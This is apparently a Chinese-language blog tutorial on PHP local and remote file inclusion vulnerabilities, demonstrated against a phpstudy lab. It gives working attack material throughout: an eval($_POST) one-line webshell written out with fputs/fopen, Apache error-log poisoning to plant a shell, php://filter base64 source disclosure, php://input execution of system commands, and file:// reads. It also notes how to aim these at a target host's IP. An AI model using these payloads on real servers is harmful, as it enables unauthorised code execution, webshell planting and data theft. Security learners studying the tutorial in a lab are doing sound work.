首页 > 技术文章 > 文件包含漏洞

pangya 2018-04-24 12:20 原文

1.什么是文件包含漏洞?

      文件包含漏洞:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件。

      出现原因:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无须再次编写,这种调用文件的过程称为包含。

2.PHP文件包含的几个函数:

  include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。

  include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

  require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。

  require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

  Require和include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。

3.文件包含是通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含

4.本地包含:

    案例:

      1.编写一个php文件与一个txt文件

        

 

        

        把他们同时放在一个文件下,这里以  phpstudy为例  放在WWW/下

      

       2.打开浏览器,进行本地包含测试

          

      3.包含成功,显示(2.txt)中文件。接下来扩展可以上传一句话木马。那shell权限。

      4.包含一个百度:

          

    5.目标机器本地包含:

          

 

 

5.远程包含

    案例:

      

    1.能访问目标主机

    2.对面开启远程包含:

        phpstudy 为例: 其他选项菜单->PHP扩展及设置->参数开关设置->allow_url_include(在最下面)

6.利用错误日志获取shell

      phpstudy 为例:当访问错误时会被存放到错误日志当中,借助错误日志插入一句话木马。

      phpstudy 日志位置:/phpstudy/apache/logs/error.log

      利用burp 抓包修改错误信息:

          

      修改之后在错误日志中可以看到,或者使用文件包含查看

        

 

  

      然后使用菜刀连接即可。

 

          以下实验均是使用phpstudy为例,有文件包含漏洞为前提。

 7.使用包含漏洞直接向对方写一个shell

     (1).在自己网站目录下写一个php文件,内容如下:

          <?php

          fputs(fopen('shell1.php','w'),'<?php eval($_POST[1]);?>');
          ?>

      fputs函数 :fputs() 函数将内容写入一个打开的文件中。(可安全用于二进制文件)。如果函数成功执行,则返回写入的字节数。如果失败,则返回 FALSE。

      fopen 函数:当使用 fopen() 函数打开一个文件时,如果文件不存在,则会尝试创建该文件,并返回一个资源。

      'w'   :: 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。

      <?php eval($_POST[1]);?> :为一句话木马,使用POST方法,[1]为参数,用于菜刀连接的密码也是。

      (2).因为有文件包含漏洞,可以把这样一个文件直接写入进去。

          

      (3).如上图所示,使用包含漏洞把本地的一个文件写入进去了。接下来测试能否访问

            

        把phpinfo页面显示 赋值给参数1,可发现可以访问。接下来就可以直接菜刀获取shell。

        注释:个人实验证明,对目标主机采用时,需要把最开始的10.3.0.24换成目标ip,不过需要目标主机目录下存放一个上述的php文件,然后才可以本地调用。

8.使用文件包含漏洞直接读取文件内容

        案例:

          代码:127.0.0.1:8024/1.php?page=php://filter/read=convert.base64-encode/resource=1.php

             resource=<要过滤的数据流> :指定了你要筛选过滤的数据流

             read = <读链的筛选列表>    : 可以设定一个或多个过滤名称,以管道符 | 分隔   

          

          使用base64去访问文件内容。使用base64解码即可。可看我python中的加密解密那个博客哦。

          为啥要用base64:

            base64此编码方式可以让中文字或者图片也能在网路上顺利传输。在 BASE64 编码后的字串只包含英文字母大小写、阿拉伯数字、加号与反斜线,共 64 个基本字元,不包含其它特殊的字元,因而才取名 BASE64。编码后的字串比原来的字串 长度再加 1/3 左右。 此外应该还有一个 ROT 13 可以使用。

9.使用文件包含漏洞直接使用系统命令

        案例:

          代码:127.0.0.1:8024/1.php?page=php://input     <?php system('ipconfig')?>  注释:使用POST方法

          

          因为可以使用系统命令,所有就可以使用系统命令在本地创建一个shell文件,然后使用菜刀去连接。

          代码:127.0.0.1:8024/1.php?page=php://input                              使用POST方法

                <?php

          fputs(fopen('shell1.php','w'),'<?php eval($_POST[1]);?>');
                ?>

10.使用文件包含漏洞直接查看文件内容

        案例:

            代码:127.0.0.1:8024/1.php?page=file://D:/phpstudy/www/2.txt        (D:/phpstudy/www/2.txt )文件路径

            

 

          

 

推荐阅读